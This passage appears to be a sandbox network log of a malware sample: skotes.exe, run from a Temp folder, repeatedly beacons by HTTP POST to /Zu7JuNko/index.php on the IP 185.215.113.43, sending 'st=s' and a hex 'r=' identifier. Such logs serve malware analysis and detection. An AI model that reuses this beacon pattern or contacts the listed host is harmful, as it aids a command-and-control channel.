Nov 23, 2024 03:24:57.404294014 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:24:58.780750990 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50234	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:00.421302080 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:25:01.812403917 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50235	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:03.561428070 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50236	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:06.277404070 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:25:07.625576019 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50237	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:09.373738050 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:25:10.752648115 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50238	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:12.392143965 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:25:13.783385038 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50239	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:15.530338049 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:25:16.917284012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50240	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:18.548489094 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:25:19.883583069 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50241	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:21.626743078 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:25:23.013421059 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50242	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:24.645361900 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:25:26.025615931 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50244	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:27.762137890 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:25:29.138349056 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50245	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:30.781408072 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:25:32.115766048 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50246	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:33.857835054 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:25:35.234219074 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50247	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:36.879688025 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:25:38.224899054 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50248	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:39.976314068 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:25:41.363672972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50249	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:42.995405912 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:25:44.386885881 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50254	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:46.140742064 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:25:47.518269062 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50255	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:49.157511950 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:25:50.585828066 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50256	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:52.335891962 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:25:53.719537973 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50257	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:55.352776051 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:25:56.744410992 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50258	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:25:58.490087032 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:25:59.869080067 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:25:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50259	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:01.507807970 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:26:02.892575979 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50260	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:04.625519037 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:26:06.060410976 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50261	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:07.684787035 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
